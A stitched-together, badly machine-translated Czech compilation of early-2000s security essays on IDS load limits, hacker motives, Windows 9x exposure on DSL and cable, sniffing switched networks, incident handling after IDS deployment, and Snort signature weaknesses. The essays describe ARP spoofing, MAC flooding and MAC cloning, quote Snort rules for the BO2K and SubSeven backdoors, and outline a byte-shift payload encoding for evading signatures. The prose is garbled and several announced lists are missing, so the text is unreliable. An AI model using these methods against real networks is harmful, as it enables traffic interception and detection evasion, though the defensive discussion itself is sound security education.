"Jak se zvyšuje zatížení od malých až po těžký, počet útoků zaznamenané RealSecure dramaticky sníží. Za použití velmi malých zátěží pro simulaci provozu v typickém prostředí pod 10 MB / s, oba 2 Mb / s a 5 MB / s zatížení přihlášen 66% ozvěna událostí. pro malé zatížení, RealSecure zaznamenal 75% všech útoků. pro normální zatížení, RealSecure zaznamenal 33% akcí. a konečně, pro těžký náklad, pouze 10% bylo zaznamenáno. "*

Každá detekce narušení výrobek má jinou úroveň prahu účinnosti zpracování a prahová hodnota bude pravděpodobně zlepší s budoucími verzemi svých produktů.

Strategie pro obranu proti této situaci obvykle vyžaduje použití různých místech senzoru (obrany do hloubky) a jejichž cílem je vyhodnotit každý paket na různých místech v architektuře. To může zahrnovat rozmístění senzorů v sítích segmentech od sítě body škrtícího ventilu kdy intenzita dopravy je vysoká. To může mít za následek kontrolu stejném paketu vícekrát, nebo dokonce v některých paketů nikdy níž je prováděna kontrola, v závislosti na tom, jak paket prochází síť. Případně rozdělit analýzu pro útoky mezi skupinami optimalizovaných snímačů s vysokým výkonem na stejném segmentu sítě. Tento koncept je pro rozdělení zátěže analýzy nad těmito více snímačů tak, že celé spektrum analýzy se provádí na každém paketu, ale každý paket zkontrolována na jiné nebezpečí od každého snímače. Pakety, které nejsou předmětem přezkumu v jednom segmentu sítě mohou být přezkoumány v jiných, nebo dokonce v hostitelské nebo databázové úrovni.

Je-li hackeři proniknout do mé síti, jak by se lis někdy zjistit a proč by někdo jiný péče?

Za prvé, že odpověď je založena na tom, že to, co se děje ve virtuálním je zrcadlovým k tomu, co se děje ve fyzickém prostoru. Hackeři proniknout do sítí pro mnoho různých důvodů, většina z nich nezákonné. Hackeři obecně říci svým přátelům, protože jim získává uznání v této skupině. Jejich skupina může být rovněž konkurovat jiným skupinám hackerů na více či lépe úspěšných vloupání. Toto je velmi podobné tomu, jak gangy chovat v našich fyzických městech. Hodně z tohoto chvástání se děje přes internet, kde může být a je sledována mnoha lidí. To zahrnuje každého od zločinců, jiné hackery a tisku, na vymáhání práva, armády, zainteresované občany, bezpečnostní profesionály, a dokonce i vaše companyâs konkurentů.

Ostatní hackeři mohou být ve skutečnosti hacking upozornit na určitou věc, pro kterou se rozhodli šampiona. V tomto případě mohou shromažďovat a zveřejňovat na internetu skutečné důkazy o vloupání a / nebo kontaktujte přímo stiskněte tlačítko. Tato kombinace hacking a aktivismus "hacktivism", často se živí sítí a webových stránek, které nemají nic společného s problémem, který podporují. Nejviditelnější příčinou je na protest proti tomu, že mnoho z jejich přátel hackerů již byly uloveny a jsou ve vězení. Ostatní hackeři mohou být ve skutečnosti copycats. Mohou být aktivisty, kteří si přejí, aby protestovali nějaké sociální nespravedlnosti nebo ekologický problém, nebo obhajovat své stanovisko nebo víru. V obou případech se to stalo způsob, jak vzít jejich příčinu a to jak do kyberprostoru, as pomocí lisu, vzít záležitost zpět do fyzické říši ve formě, která tisk bude psát o, a že veřejnost bude číst o.

Někdy dobře míněné zaměstnanci jedné společnosti může být hacknutý řekne tisku. Zaměstnanec je opravdu znepokojen společnosti a domnívá se, že říkat tisku vyzve další kroky a pomoci společnosti. Tato informace je obvykle spolehlivější než údaje před hackery.

Tisková nadchl se pro vykazování hackerů vloupání. Možná proto, že více lidí jsou obeznámeni s touto technologií, takže tyto příběhy jsou srozumitelnější pak v minulosti. Možná, že lis má pocit, že více lidí cítí zranitelnost jejich systému. Možná, tisk rád aspekt "David a Goliáš", kde vzít malé hackery s omezenými prostředky na velké společnosti s velkým množstvím zdrojů. Skutečným důvodem, že tisk má rád hackerů vloupání příběhů je pravděpodobně kombinace všech těchto důvodů.

Jaké je riziko pro Windows 9x z dedikovaných připojení k Internetu?

Jedním z nejnebezpečnějších a nejméně uznávané zranitelnosti pro domácí uživatele PC a podnikových sítí LAN / WAN je neoprávněný přístup přes vyhrazené připojení k Internetu. I když tento problém může existovat v rámci celé řady operačních systémů a typů připojení k internetu, bude tento dokument zaměří na Windows 9x s digitální účastnická linka (DSL) nebo kabelový modem internetové služby.

Probuzení
přístup k cenově dostupným vysokorychlostní internetové služby pro veřejnost má za následek exodus z tradičního připojení modemu - prostředí, v němž dynamické IP adresování poskytl často nepotvrzované vrstvu zabezpečení pro nechráněné systémy. I když si uvědomil, vynikající výkon, tito uživatelé jsou také stále více uvědomují bezpečnostní důsledky spojené s statické adresování a na plný úvazek připojení. Stává se znepokojivě běžné slyšet incidentů, kde domácí Anet připojeny systémy byly přístupné od sousedů nebo neznámými osobami.

Otevřenost systému Windows 9x
funkce v rámci Windows 9x byly navrženy tak, aby snadnost používání a sdílení informací (security rozhodně nebyl prioritou). Jednou z těchto funkcí je sdílení souborů a tiskáren - funkce, které vyžadují využití NetBIOS. Nesprávně podávané akcie mohou představovat jen mírné riziko v UseRAS lokální síti, avšak toto riziko se může rychle eskalovat po připojení k Internetu. DSL a servis kabelový modem může umožnit ostatním uživatelům na společné podsíti nebo segmentu přístup k těmto sdíleným prostředkům stejně snadno jako kliknutí na Okolní počítače. Všichni příliš často akcie nejsou chráněny heslem. Škodlivý činnost včetně montáže BackOrifice, Netbus nebo jiných takových programů může následovat, a v konečném důsledku narušení bezpečnosti ostatních připojených systémů - tj zajištěných vzdálený přístup sezení s podnikové sítě.

DSL a kabelový modem charakteristiky sítě
DSL a kabelových modemů sítě se může lišit v designu a uspořádání. Zásadní rozdíl mezi těmito dvěma je, že DSL sítě jsou zapnuté a uživatelé nesdílejí přepravní médium. Je možné, aby uživatel vidět další systémy v jejich podsíti, ale provoz je omezen na vysílání zdroje.

Kabelového modemu, sítě, na druhé straně, lze považovat za LAN. Mnoho uživatelů může sdílet společnou segmentu, a může tedy nejen vidět další vysílání UseRAS zdrojů, ale skutečná data proudy stejně. To nemusí být vždy případ, nicméně v případě, že ISP zavedla zvýšenou techniky filtrování, jako je DOCSIS (údaje o Cable Service Interface Specification). Důležité je, že člověk musí pochopit, že přístupová síť nechrání systém před útokem. Uživatel musí přijmout opatření k zajištění jejich počítač.

Ochrany systému
chránění k internetu připojen systém Windows 9x na plný úvazek nemusí být skličující úkol. Klíčové úvahy, které by měly být řešeny, jsou:

Doporučuje se také, že uživatel zná jeho / její připojení k Internetu. ISP může být kontaktován a požádány, aby poskytly údaje o připojení - tj: Je filtrování provozu k dispozici na UDP / TCP porty 137, 138 a 139, aby se zabránilo náhodnému soubor systému Windows a sdílení tisku? Je DOCSIS prováděny na kabelovém systému? Síť cvičenými může být použit k analýze typ provozu v místě připojení.

Bibliografie
McClure Stuart & Scambray, Joel. "Nové vysokorychlostní přístup k síti služby dát nechtěné čichačům opravdovou příležitost". 25. 01. 1999
http://www.infoworld.com/cgi-bin/displayArchive.pl?/99/04/o08-04.75.htm (11 Nov. 1999).
Livingston, Brian. "Bezpečnostní zařízení nabízejí uživatelům ochranu během" vždy "vysokorychlostního přístupu". 25.října 1999.
http://www.infoworld.com/cgi-bin/displayArchive.pl?/99/42/o10-43.60.htm (11 Nov. 1999).
Bezpečnostní psi. "Sdílení Internetu a zabezpečení kabelových modemů a xDSL výrobků."
http://www.securitydogs.com/secdog_sharing_prod.html (10 Nov. 1999).
CableLabs. "Bezpečnost v DOCSIS na bázi kabelového modemu Systems." 26.srpna 1999.
http://cablemodem.com/DOCSIS_Security.html (10 Nov. 1999).

Proč se vaše zapnutý síť není bezpečné.

Steven Sipes
10.09.2000

Úvod
Arzenál nástrojů k dispozici pro oba ochraně a proniká naše prostředí je skličující kvantitativně i schopností. Některé z těchto nástrojů jsou vysoce specializovaná na účely, zatímco ostatní jsou víceúčelové a slouží jako stavební kameny pro větší sady nástrojů. Jedním z takových nástrojů je síť cvičenými. Síť šňupání, ve své nejobecnější formě, se skládá ze zachycení snímků ze sítě a sledování jejich obsah. Schopnost to bylo rozšířeno na nějakou dobu a byl používán každý ze správců sítí (kteří byli řešení potíží) se sušenkami (kteří byli tahání hesla a soubory z drátu). Pokud budeme měřit naši časový rámec daty propuštění některých z novějších čichání nástrojů, to bylo teprve nedávno, že síť čichání byla zveřejněna, aby bylo možné v přepínané síti. Toto zpoždění v šíření informací vedl k, stále převládá, myšlenkový, že migraci prostředí přepínané síti by zabránila komukoli čichání síťový provoz (není-li, samozřejmě, mohli připojit k / uplink portu na základní desce na přepínači) , Netřeba říkat, že díky úsilí bezpečnostní komunitou (nebo anti-bezpečnostní komunity, v závislosti na úhlu pohledu), nástroje objevily které umožňují síť šňupání na přepínaných sítí. Chcete-li získat lepší pochopení toho, potřebujeme stručné vysvětlení toho, jak non-měnil sítě pracovat a jak jsou přičichl. Budu pak přejít na ukázat, jak přepínaných sítí pracovat a ukázat, jak jsou přičichl. Budu skončit s diskusí o tom, jak chránit svůj provoz v obou non-měnil nebo spínané prostředí.

Čichání Non-přepínaných sítí
V nepodnikatelské zapnutém síťovém prostředí, nosíme koncept síťovém segmentu. Segment1 je síťová architektura, který je umístěn za routerem, mostů, železničních uzlů nebo přepínači, ve kterém každý uzel je přímo adresovatelné od každého jiného uzlu. V non-měnil prostředí, rámy jsou zpracovány ve vysílání způsobem. To znamená, že když uzel vysílá rám, to je "vidět" každý uzel na segmentu. Každý uzel, podle pořadí, krátce zkouška rám aby zjistil, zda je určeno k nim. Pokud tomu tak není, je zlikvidován. Nicméně, pokud jsou zamýšleným příjemcem, že přijímají rámec pro zpracování. I přirovnat k (nyní méně časté) účastník-line telefonní hovor, kde může jeden telefonát najednou zazvoní na více telefonů. Každý, kdo odpoví a po zjištění, že výzva není pro ně zavěsí (alespoň zavěsí pokud respektují soukromí ostatních, které sdílejí strany linii). Pro účely tohoto dokumentu, bude uzel B se označují jako hostitel, které mají být použity jako činidla šňupání. Uzel A i uzel C bude zastupovat "nevinné", kteří se jen snaží komunikovat mezi sebou navzájem. To je znázorněno na obrázku 1.
Obrázek 1

Normální tok provozu v non-přepínané síti je následující:

Pro úplnost je třeba poznamenat, že kroky 3 a 4 může být obrácen tak, aby, jak předpovědi o tom, který uzel obdrží rám První z nich je mimo rozsah tohoto dokumentu. Z praktických důvodů, lze předpokládat, že k nim dochází ve stejnou dobu.

Aby hostitele, které mají být použity jako šňupání činidla, musí být síťové rozhraní nastaven na "promiskuitní" režim. Nastavení tohoto režimu vyžaduje uživatele root nebo správce přístup. Poté, co je nastaven tento režim, síťové rozhraní již nebude klesat síťových rámců, které jsou adresovány do ostatních hostitelů. Spíše to bude předávat je do vyšších vrstev sítě s očekáváním, že nějaký software na vyšší vrstvě je bude zpracovávat. Při odkazování na obrázek 1, kroky tohoto procesu by takto:

Opět platí, že kroky 3 a 4 mohou být provedeny.

Můžete vidět, že non-měnil prostředí půjčuje sebe docela pěkně na čichání. To vyžaduje trochu více úsilí na straně šňupání činidla, protože náboj vysílá rámy na všechny aktivních portů. Existuje několik čichání pomůcky. Některé z veřejně dostupných nástrojů používaných čichat non-přepínaných sítí patří:

Vyzbrojeni těmito základními znalostmi o tom, jak non-měnil sítě pracovat a jak jsou přičichl, budu teď dělat paralelní srovnání s přepínaných sítí.

Čichání přepínaných sítí
v zapnutém síťovém prostředí, stále nesou představu o síťovém segmentu, ale segment zahrnuje pouze uzel a vypínač. Datové rámce jsou zpracovány v přímém způsobem. To znamená, že snímky z uzlu A do uzlu C jsou odesílány pouze po okruzích v přepínači, které jsou nezbytné k dokončení spojení mezi uzlu A a uzlu C. I přirovnat ke společnému volání z osoby na osobu, která žádá osobou osoba C. To je znázorněno na obrázku 2.
Obrázek 2

Upozorňujeme, že hostitelé ještě provést vyšetření cílovou adresu, přestože spínacích "záruku", že jsou zamýšlené host. I když to může způsobit velmi malé množství zbytečných režie pro hostitele, je to nezbytný krok, protože hostitelé mohou migrovat z bodu A přešel na non-měnil prostředí (tj zvažovat případ notebooku).

Tento režim nese několik přirozených výhod:

Jak můžete vidět, spínaný síťový nehodí k čichání stejně snadno, jako non-měnil sítě dělá, protože nevysílá většinu snímků. Budete také všimnout, že v oddílu "přirozených výhod ', jsem neudal, že prostředí bylo bezpečnější. Vývoj přepínaných sítí byl řízen potřebou větší šířku pásma, nikoli pro potřebu více zabezpečených sítí. Ve skutečnosti, vyšetřování odhalí, že některé metody jsou k dispozici čichat přepínané sítě. Některé z těchto metod jsou:

Budu stručně diskutovat tyto tři možnosti. Vezměte prosím na vědomí, že existuje více způsobů, jak čichat přepínaných sítí, které jsou uvedeny v dokumentaci zmíněných nástrojů. Prostě jsem se rozhodl vyvinout tři případy jako úvod.

ARP Spoofing
Jedním ze základních operací protokolu Ethernet se točí kolem ARP (Address Resolution Protocol) žádostí a odpovědí. Obecně platí, že pokud uzel A chce komunikovat s uzlem C v síti, pošle požadavek ARP. Uzel C odešle odpověď ARP, která bude obsahovat MAC adresu. Dokonce i v komutované prostředí, tento počáteční požadavek ARP je odeslána ve vysílání způsobem. Je možné, že Node B k řemeslu a odeslat nevyžádaný, falešné ARP odpověď na uzlu A. Toto falešné ARP odpověď bude specifikovat, že Uzel B má MAC adresu uzlu C. uzlu A bude nevědomky posílat provoz na uzlu B protože se hlásí mít zamýšlený MAC adresu. Některé dostupné nástroje se specializuje na posílání falešnou ARP odpovědí na tříd strojů (tj servery NFS, HTTP servery atd.) Jedním z takových nástrojů je dsniff5 a funguje to dobře čichat pro určité druhy dopravy. Další nástroje poslouchat obecné požadavek ARP a odeslat odpověď ARP falešnou v té době. Parasite4 Program spadá do této kategorie, a to slouží dobře čichat celou síť. Pro tento typ útoku do práce, musíme schopnost vpřed na rámech, které dostáváme k určenému hostiteli. To je nejčastěji dosaženo určitého typu IP předávání, a to buď na jádra nebo aplikační úrovni.

MAC Záplavy
Vzhledem k tomu, přepínače jsou odpovědné za zřízení virtuální okruhy z jednoho uzlu do jiného, musí uchovávat převodní tabulku, která sleduje, které řeší (konkrétně, který MAC adresy) jsou na kterém fyzického portu. Velikost paměti pro tento převodní tabulky je omezená. Tato skutečnost umožňuje přepínači být využit k čichání účely. Na některých přepínačů je možné bombardují přepínač s daty falešný MAC adresou. Přepínač, neví, jak zacházet s nadbytečná data, bude 'selhání otevřený ". To znamená, že se vrátí k rozbočovači a bude vysílat všechny síťové rámečky na všech portech. V tomto bodě, jeden z více generických sítě sniffers bude fungovat.

MAC kopírovací
Není těžké si představit, že, protože všechny rámečky v síti jsou vedeny na základě jejich MAC adresy, že schopnost vydávat se za jiného hostitele bude pracovat v náš prospěch. To je právě to, co MAC kopírovací dělá. Překonfigurovat Node B mít stejnou adresu MAC jako stroj, jehož provoz se snažíte čichat. To je snadné dělat na poli Linuxu, pokud máte přístup k příkazu "ifconfig. Tím se liší od ARP spoofing, protože v ARP spoofing, my jsme "matoucí" hostitel tím, že otráví, že je to ARP mezipaměť. Při útoku MAC duplikování, jsme vlastně plést přepínač sám do myšlení dva porty mají stejnou adresu MAC. Vzhledem k tomu, že údaje budou předány oběma porty, ne forwarding IP není nutná.

Ochrana
Existuje několik metod znovu chránit tyto útoky. Některé z těchto metod jsou použitelné pro oba non-měnil a přepínaných prostředích.

Filtrování IP
Povolením filtrování IP na přepínači, přímo určit, který provoz je umožněno proudit do az každý port. To může být monumentální úsilí zavést a spravovat, zvláště pokud vaše prostředí je dynamické.

Port Security
-li rozbočovač nebo přepínač má možnost povolit bezpečnosti přístavů, to pomůže chránit vás z obou MAC Flood a MAC spoofing útoky. Ty mají účinně brání hub nebo přepínač rozpoznat více než 1 MAC adresu na fyzickém portu. To, stejně jako mnoho bezpečnostních postupů, omezuje na životní prostředí a zesiluje potřebu procesu řízení, stejně jako proces auditu.

Směrování zabezpečení
směrování by mělo být prováděno pouze určené routery. To znamená, že žádné pracoviště by mělo být umožněno spuštění směrovacího protokolu, protože mohou být ohrožena. Také je samozřejmé, že vedení některý z vašich síťové zařízení by mělo být přes zabezpečené připojení, a ne přes telnet, který prochází administrativní login / heslo do prostého textu.

Závěr
Věřím, že tato zkouška poskytuje další důvody pro "obranu do hloubky". Sítě jsou enabler infrastruktura pro nás plnit náš každodenní funkce. Obecné sítě, které používáme byli nikdy chtěl být používán jako bezpečnostní prvek; i, i nadále používat tímto způsobem. Poskytování spravované síťové infrastruktury je klíčovou součástí každého dobrého obranné pozice. I když by byla ohrožena jediného hostitele může získat přístup útočníkovi několika systémů, schopnost čichat userids a hesel pro několik strojů bude účinně rozdávat klíče ke království. Správci sítí musí být vědomi, že mají 2 realistické možnosti. Mohou buď správu sítě vhodně a být součástí týmu, se snaží chránit životní prostředí, nebo mohou konfigurovat prostředí tak, že je "hands-off" nebo "self-udržovat", který se obvykle překládá do laxní bezpečnost.

Reference
"Webopedia"http://webopedia.internet.com/TERM/s/segment.html
"AntiCode webové stránky"http://www.AntiOnline.com/cgi-bin/anticode/anticode.pl
"Nejisté webové stránky"http://www.insecure.org/
van Hauser. "Parazit 0,5"http://thc.inferno.tusculum.edu/files/thc/parasite-0.5.tar.gz
Song, Dug. "Dsniff"http://www.monkey.org/~dugsong/dsniff/

Co děláte po nasazení Systém detekce narušení?

Chris Morris
03.01.2001

Vaše firma se nakonec rozhodla zavést systém detekce narušení (IDS). Jste vyslechli prodejce po prodejce popsat své zboží v detailu a vysvětlit, proč se jejich systém funguje nejlépe ve vašem prostředí. Vybrali jste si své IDS založený na ceně, podpora, snadnost použití, instalaci a nejlepší společnost t-shirt design. Jste vyzkoušeli nové IDS úspěšně a nyní nasazeno do produkčního prostředí. Otázkou je, co teď?

Doufejme, že předtím, než jste nasadili své IDS do vašeho prostředí, jste si našli čas, aby vytvořila stabilní politiku IDS sledování a řízení. Tyto dokumenty jsou psány odpovědět na tuto "Co teď" otázku. Je nutné určit, jak budete sledovat vaše systémy, který bude sledovat, co budete dělat, když se dostanete upozornění a kdo se chystá opravit chybu. Navíc je nutné určit úroveň odezvy, které umožní, jakmile byla zjištěna vniknutí do vozidla. Myšlenky uvedené v tomto dokumentu by měly být užitečné pro síť, host-based a takzvané hybridní systémy detekce vniknutí a pro rozvoj postupů odezvy.

IDS Monitoring
Cílem IDS je pozitivně identifikovat skutečné útoky, zatímco negativně identifikaci takzvané falešné poplachy (události, nesprávně označen jako IDS vniknutí do vozidla, pokud došlo none). Proto IDS bude muset být monitorován. Účinně kontrolovat IDS, budete muset vyvinout účinné plány v těchto oblastech:

Pokud je vaše společnost jako většina nebudete mít prospěch z vysoce kvalifikovaných bezpečnostních expertů monitorujících konzole 24/7. Tento úkol je pravděpodobné, že spadnou na úrovni jednoho operátora práci v síti Operations Center. Tato osoba bude obvykle nemají formální bezpečnostní školení a s největší pravděpodobností nebudou vědět, co dělat s záznamu. Proto je důležité poskytnout této osobě s dobře dokumentovaných kontrolních postupů, které podrobně akce pro zvláštní záznamy. Další taktikou pro monitorování IDS je mít stránku systému nebo e-mailové určený personálu specifické výstrahy. Ať tak či onak vedení IDS by měla vypracovat seznam hrozeb, které chcete být upozorněni na a mají operátorovi nebo analytikovi hodinky pro ně. Tyto hrozby se může pohybovat od skenování portů neautorizovaným ftp akce až po odmítnutí pokusů služeb.

Incident Handling
Proč se obtěžovat detekci útoku na prvním místě, pokud víte, že se nebude dělat nic o tom? Dobrá otázka. Budete muset vyvinout dopadající postup manipulační dobře zdokumentovaný, pokud se chystáte využít informace, které jste zachycené během monitorování. Manipulační postupy události je třeba chápat, přístupné a zkoušel. To může mít hodnotu vyvíjet nástin cílů a záměrů podobné následující v tom, jak bude vaše firma zvládnout incident:

Level 1 Jedna instance potenciálně nepřátelské činnosti (prstem, neoprávněným telnet, skenování portů, atd.).

Level 2 Jedna instance jasné snaze získat neoprávněný informace nebo přístup (stahování souborů hesla, přístupového zakázané prostory, atd) nebo druhé úrovně 1 útok.

Level 3 vážný pokus prolomit zabezpečení (multi-pronged útok, odmítnutí pokusu servis atd) nebo druhé úrovně 2 útoku.

SIRT
Samozřejmě, že všichni potenciální, podezřelé nebo známé bezpečnostní incidenty informace by měly být hlášeny společnosti Security Incident Response Team Information (SIRT) nebo určeného bezpečnostního jednotlivce (ů). Tito pracovníci budou identifikovány v rámci postupu dokumentu pro manipulaci incidentů. SIRT přiřadí pracovníky, kteří budou shromáždit všechny potřebné zdroje zvládnout incident. Koordinátor incidentu bude rozhodovat, pokud jde o výklad politiky, norem a postupů při aplikaci na incidentu.

Vymáhání práva a vyšetřovacích agentur budou oznámeny, podle potřeby a potřeby, které SIRT. V případě mimořádné události, která má právní důsledky, je důležité navázat kontakt s vyšetřovacími orgány (např FBI v USA) co nejdříve. Vymáhání Místní zákony by měly být rovněž informován podle potřeby. Právní zástupce by měl být informován o incidentu, jakmile je hlášena. Minimálně právní zástupce by měl být zapojen k ochraně právní a finanční zájmy vaší firmy.

Dokumentace
Veškeré bezpečnostní incidenty informace musí být doloženy. Tato dokumentace obsahuje odkaz, který bude použit v případě jiných podobných incidentů. Systémových a ladících síť soubory, síťové zprávy provozu, uživatelské soubory, výsledky získané na základě detekce narušení nástroje, výsledky analýzy, protokolů konzole pro správu systému a poznámkami a zálohovacích pásek, které zachycují před-vniknutí a následné narušení stavů postiženého systému musí být pečlivě shromážděny, označené katalogizovat, a bezpečně uloženy v každé fázi analýzy narušení.

Důkazy a protokoly o činnosti by měly být chráněny před, v průběhu a po incidentu. Aby bylo zajištěno, že důkaz bude přijatelné pro právníky, by mělo být shromažďování důkazů provede podle předem definovaných postupů.

Response Akce
Tento proces manipulace incident poskytnout nějaké eskalace mechanismy. Aby bylo možné definovat takový mechanismus je SIRT by měl vytvořit vnitřní klasifikační schéma pro mimořádné události. Spojená s každou úroveň incidentu budou vhodné postupy. Níže je uveden příklad množstvím incidentů s odpovídajícími definicemi:

Závěr
vniknutí Detection System je nástroj, který je součástí dobrého bezpečnostní architektury a strategie mnohovrstevný obrany. Nicméně, jakmile IDS je nasazen do sítě systém musí být sledovány a výstrahy reagoval na. Dokumentované pokyny pro monitorování a varovné kritéria musí být vyvinuty, takže můžete efektivně reagovat na mimořádné události. Akce reakce by měly být vypracovány postupy manipulace incidentu.

Reference
BACE, Rebecca. "Úvod do detekce a posuzování".
URL:http://www.secinf.net/info/ids/intrusion/

Carnegie Mellon, CERT Coordination Center ", stanoví zásady a postupy pro reagování na průniky".
URL:http://www.cert.org/security-improvement/practices/p044.html

Carnegie Mellon, CERT Coordination Center "Připravte se zřetelem k průniky".
URL:http://www.cert.org/security-improvement/practices/p045.html

Carnegie Mellon, CERT Coordination Center, "Reakce na průniky". 30.července 1999
URL:http://www.cert.org/security-improvement/modules/m06.html

Carnegie Mellon, CERT Coordination Center, "Stav praxe Intrusion Detection Technologies". 16.listopadu 2000
URL:http://www.sei.cmu.edu/publications/documents/99.reports/99tr028/99tr028chap01.html

FAQ: Systems Network Intrusion Detection. Verze 0.8.3, 21.března 2000
URL:http://www.ticm.com/kb/faq/idsfaq.html#3.6

Ranum, Marcus J. "Intrusion Detection: výzvy a mýty". 1998
URL:http://secinf.net/info/ids/ids_mythe.html

Sondra Schneider, Erik Schetina a Donald Stahl. "Život po IDS". Září 1999
URL:http://www.infosecuritymag.com/sept99/cover.htm

Existují omezení Intrusion podpisů?

Matthew Richard
05.04.2001

Úvod
Mnoho podnikových sítí a firemní bezpečnostní spoléhají na detekci narušení upozornit administrátory vniknutí. Se všemi rysy moderních systémů detekce narušení bezpečnosti existují některé tragické chyby tkvící v jejich designu. Tyto nedostatky se vztahují na Snort a všechny ostatní motory detekce narušení podpis založen. Snort je vybrán v tomto dokumentu kvůli jeho popularitě a její známosti mezi komunitou SANS.

Co je Snort
Snort je Intrusion Detection System napsal Martin Roesch. Snort je byl napsán jako open source projekt a je k dispozici zdarma pod GNU veřejnou licencí. Tento software je založen na porovnání podpis optimalizovaný pro rychlost. Snort nabízí mnoho funkcí, které z něj činí ideální volbu v boji proti internetovým útočníkům dělají. Zde je popis Snort z internetových stránek Snortu:

Snort je lehký systém detekce Network Intrusion, schopné provádět analýzu provozu v reálném čase a protokolování paketů na IP sítích. Je možné provádět analýzu protokolu, obsah vyhledávací / párování a mohou být použity k detekci různých útoků a sond, jako je přetečení zásobníku, tajnosti skenování portů, CGI útoky, SMB sondami, pokusy o OS snímání otisků prstů, a mnohem více. Snort využívá flexibilní pravidla jazykem popsat provoz, který by měl shromažďovat nebo projít, stejně jako detekční engine, který využívá modulární modulární architekturou.

Síla Snortu
Snort byl napsán využít vysoce modulární konstrukci. Aplikace mohou využít několika různých pre-procesorů normalizovat, filtrovat a třídit data. Snort má rovněž velmi silné post-procesorů, nebo výstup plug-inů, které mohou být použity k přihlášení údaje získané Snort v několika různými způsoby. Vzhledem k tomu, Snort je open source projekt a že má mnoho uživatelů jeho podpis databáze je aktualizována často a jsou jednoduché aktualizovat.

Jak Podpisy práce
Pochopení toho, jak je nezbytné pro pochopení toho, jak je porazit podpisy práce. Je-li Snort dána příchozí paket z ovladače pro zachycování paketů se srovnává tento paket do své databáze známých podpisů. Podpis má nějaký klíčový aspekt paketu, že se porovná se podívat na zápas. Dojde-li ke shodě, než Snort odešle výstup na standardní výstup mechanismu nebo k jednomu z nakonfigurovaných post-procesorových výstupních plug-inů. Například je-li Snort obdržel následující paket, pak by to porovnat ji proti své databáze:

03 / 21-13: 02: 34,978853 10.1.114.88:1272 -> 10.1.114.220:54320

TCP TTL: 128 TOS: 0x0 ID: 48408 IpLen: 20 DgmLen: 44 DF
****** S * Seq: 0x2BC3D9 Ack : 0x0 Win: 0x2000 TcpLen: 24

Možnosti TCP (1) => MSS: 1460

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HOME_NET 54320 (msg: "Backdoor SIG - BO2K";)

Tato událost by vyvolat varovnou zprávu. Většina podpisy nejsou jen podívat na to, co portu paket je do nebo z, ale také zkoumá část užitečného zatížení. Jak se nacházejí nové bezpečnostní díry a využije nové podpisy jsou zapsány neutralizovat nebezpečí.

Problém s podpisy
Co Snort a dalších systémů detekce narušení podpisem založeným počítají, že škodlivý provoz bude mít jedinečné vzory na to, aby může být uzavřeno v rozporu s pravidly v databázi. Například Snort používá následující pravidlo hledat SubSeven Trojan:

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HOME_NET 27374 (msg: "Backdoor SIG - SubSseven 22"; flags: A +, obsah: "| 0d0a5b52504c5d3030320d0a |"; referenční: pavouků, 485;)
ve střehu

Důležitou součástí tohoto pravidla je třeba uvést, že Snort hledá podpis hex "0D 0A 5b 52 50 4c 5d 30 30 32 0d 0A", která je umístěna kdekoliv v datové části paketu.

To pak zřejmé, že existuje mnoho způsobů, jak obejít tento podpis. První věc, kterou bychom mohli udělat, je měnit cílový port. To je obvykle nežádoucí, i když, protože infikovaný počítač pravděpodobně používá výchozí port pro SubSeven, aby bylo snazší vyhledávat. V případě, že útočník ví, co portu SubSeven by měl být spuštěn pak mohli rychle a snadno skenovat velké bloky adres pro stroje naslouchání na tomto portu. Dalším úniky techniku, která by útočník mohl použít by byla změna nebo šplhat na obsah, který je senzor hledá. To by mohlo být dosaženo použitím některé velmi jednoduchou formu šifrování. Zde je, jak jednoduchý šifrování paketů může fungovat:

první byte užitečného obsahu paketu je hodnota, která bude přidána ke každému následnému byte. Pokud budeme používat 3 pak náš užitečné zatížení "0d 0a 5b 52 50 4c 5d 30 30 32 0d 0a" se stává "31 3d 8e 85 83 7F 81 63 63 65 31 3e", která nemá Mach některý ze známých signatur. Útočník se nyní vyhnul náš systém detekce narušení. Další kroucení této techniky by mohly zahrnovat veřejný klíč / soukromý klíč šifrování. Soukromý klíč pro server a veřejného klíče pro klienta by mohlo být odeslán, nebo svázaný s původní instalace. To by způsobilo veškerou komunikaci mezi 2 hostiteli nesrozumitelný a nezjistitelná systémů detekce narušení bezpečnosti.

Jak to jít znovu?
Nové techniky jsou rovněž vyvíjeny změnit způsob, jakým spustitelný kód, který běží trojské koně a další aplikace vypadá. Jak bylo uvedeno v nedávném článku ZDNet:

Během semináře minulý týden na konferenci CanSecWest ve Vancouveru, British Columbia, hacker s názvem "K2" prozradil program, který vytvořil, které mohou maskovat malé programy, které hackeři zpravidla používají k praskání přes zabezpečení systému.

Podle K2 sám, "Toto je způsob, jak udržet využije zbrusu nový, po celou dobu." To zvyšuje možnost, že není dostatek času aktualizovat signatury pro IDS jako změna rozpoznatelnosti. Již volně k dispozici pro hackery jsou nástroje na "přebalit" spustitelné soubory, které používají. Tento přebalování změní spustitelný, takže již není rozpoznatelný pro anti-virus a vniknutí motorů detekce.

Útoky na službách
Snort a dalších systémů pro detekci narušení se vynikají při odhalování útoků na služby, které vyžadují exploit, který nemůže být šifrována. Útoky, jako je tato by měla zahrnovat přetečení zásobníku, adresář Traversal a pokusí skenování. Tyto typy útoků spoléhat na stávající nedostatky v rámci počítač oběti. Tyto chyby mohou být obvykle využívány pouze použití určitého útok mechanismus, který bude mít určitý podpis. V těchto zjištění vychází narušení případy podpisu dělá velmi dobře při odhalování tyto vzory a upozorňování nebo jejich zastavení.

Problém s detekcí narušení, neboť se vztahuje k útokům na služby je, že to může trvat nějakou dobu pro nové využití, aby se stal známý. Po exploit je znám pak nový podpis může být psán pro něj a distribuovány. To ponechává mnoho systémů náchylné k napadení nevědomého po určitou dobu. Je možné, že dobře provedený útok zanechá žádné stopy vniknutí proto skýtat veškeré úsilí umístěny do detekce narušení zbytečný. IDS jsou také zraněn nedostatkem podpůrné údaje pro útoky, které nebyly okamžitě poznal. Autorem Stick, Cortez Giovanni říká:

Také většina IDS nezačnou záznam útok, dokud se spustí alarm. To znamená, že nebude zaznamenán původní chyba, která umožnila přístup. Některé IDS vyrovnávací paměti, že data, tak, že IDS budou mít poslední X počet bajtů, než poplachu vidět, co došlo před ním. Bez ohledu na to, IDS obvykle nezachycují paket velmi podrobně vzhledem k požadavkům na nahrávání na IO a vzdálenou správu.

Denial of Service
